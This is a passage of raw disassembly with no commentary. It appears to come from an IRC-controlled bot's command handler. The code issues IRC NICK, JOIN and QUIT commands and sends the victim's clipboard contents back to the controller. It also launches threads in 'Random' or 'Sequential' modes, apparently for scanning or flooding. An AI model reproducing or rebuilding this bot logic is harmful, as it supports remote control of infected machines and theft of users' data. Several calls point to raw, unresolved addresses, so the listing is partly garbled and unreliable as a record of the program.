loc_413AC5:				; CODE XREF: sub_40EE72+4C47j
		push	offset unk_430578
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413ACF:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_430544
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AE4:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E94
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_412FD0
; ---------------------------------------------------------------------------

loc_413B32:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2610F41h
		nop
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	dword_43AE30
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_440804[eax]
		nop
		call	near ptr 27D08DAh
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_440804[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_4405F0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413BDD:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C1B
		call	sub_416F25
		cmp	eax, ebx
		jle	short loc_413C11
		push	eax
		push	offset dword_4304F8

loc_413BFD:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0

loc_413C09:				; CODE XREF: sub_40EE72+3CA4j
		add	esp, 0Ch
		jmp	loc_41460C
; ---------------------------------------------------------------------------

loc_413C11:				; CODE XREF: sub_40EE72+4D83j
		push	offset dword_4304C0
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_413C1B:				; CODE XREF: sub_40EE72+4D7Aj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax

loc_413C37:				; CODE XREF: sub_40EE72+4E36j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E97
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5E
		push	offset dword_43048C
		jmp	short loc_413C63
; ---------------------------------------------------------------------------

loc_413C5E:				; CODE XREF: sub_40EE72+4DE3j
		push	offset dword_430450

loc_413C63:				; CODE XREF: sub_40EE72+4DEAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C93
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_413C93:				; CODE XREF: sub_40EE72+4E03j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C37
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413CAF:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_430428
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413CE9:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_430DC4
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_4303F8
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D05:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_4303C8
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D28:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_430394
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D44:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx

loc_413D5B:				; CODE XREF: sub_40EE72+4EF1j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D5B
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx

loc_413D70:				; CODE XREF: sub_40EE72+51BCj
		push	8
		call	sub_416FA4
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 3E8h
		jle	short loc_413DBF
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_4316D8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414025
; ---------------------------------------------------------------------------

loc_413DBF:				; CODE XREF: sub_40EE72+4F18j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 270Fh
		mov	[ebp+arg_0], ebx
		jz	short loc_413E30
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]

loc_413DFA:				; CODE XREF: sub_40EE72+4FA0j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E16
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DFA
		jmp	short loc_413E30
; ---------------------------------------------------------------------------

loc_413E16:				; CODE XREF: sub_40EE72+4F96j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_413E30:				; CODE XREF: sub_40EE72+4F7Bj
					; sub_40EE72+4FA2j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43AD3C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED2

loc_413EB0:				; CODE XREF: sub_40EE72+505Ej
		cmp	eax, ebx
		jz	short loc_413ED2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EB0

loc_413ED2:				; CODE XREF: sub_40EE72+503Cj
					; sub_40EE72+5040j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		push	offset byte_436EDC
		push	offset aF	; "#f"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3C
		push	offset aF	; "#f"
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F42
; ---------------------------------------------------------------------------

loc_413F3C:				; CODE XREF: sub_40EE72+50B1j
		mov	[ebp+var_3B4], bl

loc_413F42:				; CODE XREF: sub_40EE72+50C8j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F54
		mov	eax, offset aSequential	; "Sequential"

loc_413F54:				; CODE XREF: sub_40EE72+50DBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43031C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_413FDE

loc_413FCC:				; CODE XREF: sub_40EE72+516Aj
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF9
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_413FCC
; ---------------------------------------------------------------------------

loc_413FDE:				; CODE XREF: sub_40EE72+5158j
		nop
		call	near ptr 265031Fh
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4315C8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_413FF9:				; CODE XREF: sub_40EE72+5160j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414018
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414018:				; CODE XREF: sub_40EE72+518Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_414025:				; CODE XREF: sub_40EE72+4F48j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D70
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_414039:				; CODE XREF: sub_40EE72+3108j
					; sub_40EE72+4FC4j
		push	offset unk_4302D8
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_414043:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_4302A0
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4140DC

loc_4140C9:				; CODE XREF: sub_40EE72+5268j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_4140C9
; ---------------------------------------------------------------------------

loc_4140DC:				; CODE XREF: sub_40EE72+5255j
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset unk_430254
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_4140ED:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414103
		push	offset unk_430228
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_414103:				; CODE XREF: sub_40EE72+5285j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414126
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41413A
; ---------------------------------------------------------------------------

loc_414126:				; CODE XREF: sub_40EE72+529Aj
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h

loc_41413A:				; CODE XREF: sub_40EE72+52B2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_41414A
		mov	esi, offset byte_42F674

loc_41414A:				; CODE XREF: sub_40EE72+52D1j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41421D

loc_414207:				; CODE XREF: sub_40EE72+53A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_414207
; ---------------------------------------------------------------------------

loc_41421D:				; CODE XREF: sub_40EE72+5393j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_4301E0
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_41422E:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414252
; ---------------------------------------------------------------------------

loc_41424D:				; CODE XREF: sub_40EE72+53C5j
					; sub_40EE72+53D0j
		mov	eax, dword_42F5B0

loc_414252:				; CODE XREF: sub_40EE72+53D9j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414285
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4142B0
; ---------------------------------------------------------------------------

loc_414285:				; CODE XREF: sub_40EE72+5400j
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		nop
		call	near ptr 2620000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h

loc_4142B0:				; CODE XREF: sub_40EE72+5411j
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142DB
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl

loc_4142DB:				; CODE XREF: sub_40EE72+5453j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414393

loc_41437D:				; CODE XREF: sub_40EE72+551Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E5
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_41437D
; ---------------------------------------------------------------------------

loc_414393:				; CODE XREF: sub_40EE72+5509j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_430198
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_4143A4:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C8
; ---------------------------------------------------------------------------

loc_4143C3:				; CODE XREF: sub_40EE72+553Bj
					; sub_40EE72+5546j
		mov	eax, dword_42F5B4

loc_4143C8:				; CODE XREF: sub_40EE72+554Fj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DF
		lea	eax, [ebp+var_D8]

loc_4143DF:				; CODE XREF: sub_40EE72+5565j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_414401
		mov	esi, offset byte_436EDC

loc_414401:				; CODE XREF: sub_40EE72+5588j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_43014C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset word_41570E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4144CA

loc_4144B8:				; CODE XREF: sub_40EE72+5656j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E5
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_4144B8
; ---------------------------------------------------------------------------

loc_4144CA:				; CODE XREF: sub_40EE72+5644j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_430100

loc_4144D6:				; CODE XREF: sub_40EE72+3625j
					; sub_40EE72+3722j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4144E5:				; CODE XREF: sub_40EE72+3609j
					; sub_40EE72+3706j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------

loc_4144F5:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414508
		push	esi
		call	sub_41781F
		jmp	short loc_41450F
; ---------------------------------------------------------------------------

loc_414508:				; CODE XREF: sub_40EE72+568Cj
		push	8
		call	sub_416FC3

loc_41450F:				; CODE XREF: sub_40EE72+5694j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB

loc_41452A:				; CODE XREF: sub_40EE72+5B67j
		add	esp, 10h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_414532:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43ACC0
		cmp	eax, ebx
		jz	short loc_41454F
		call	eax
		test	eax, eax
		jz	short loc_414548
		push	offset unk_4300CC
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414548:				; CODE XREF: sub_40EE72+56CDj
		push	offset unk_430090
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_41454F:				; CODE XREF: sub_40EE72+56C7j
		push	offset dword_430054
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414556:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_41457A
		push	offset dword_430020

loc_414564:				; CODE XREF: sub_40EE72+4AFCj
					; sub_40EE72+56D4j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------

loc_41457A:				; CODE XREF: sub_40EE72+56EBj
		push	offset unk_42FFE4
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414581:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4145A0
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4145A0:				; CODE XREF: sub_40EE72+5712j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FFA4

loc_4145BD:				; CODE XREF: sub_40EE72+5A09j
					; sub_40EE72+5A3Bj
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_4145CA:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_4145DD
		push	offset dword_42FF6C
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------

loc_4145DD:				; CODE XREF: sub_40EE72+5762j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F9
		push	offset dword_42FF34
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------

loc_4145F9:				; CODE XREF: sub_40EE72+577Ej
		push	offset dword_42FF04

loc_4145FE:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41460C:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]

loc_414619:				; CODE XREF: sub_40EE72+3961j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]

loc_414629:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E11
; ---------------------------------------------------------------------------

loc_414636:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41464F:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41466C:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2610763h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414695
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax

loc_414695:				; CODE XREF: sub_40EE72+5818j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AE
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F47

loc_4146AE:				; CODE XREF: sub_40EE72+5831j
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FEDC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------

loc_4146F1:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_42FEAC
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_41470F:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414738
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42FE78
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------

loc_414738:				; CODE XREF: sub_40EE72+58A7j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414799
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414799
		mov	[ebp+var_46C], 1

loc_414799:				; CODE XREF: sub_40EE72+590Aj
					; sub_40EE72+591Bj
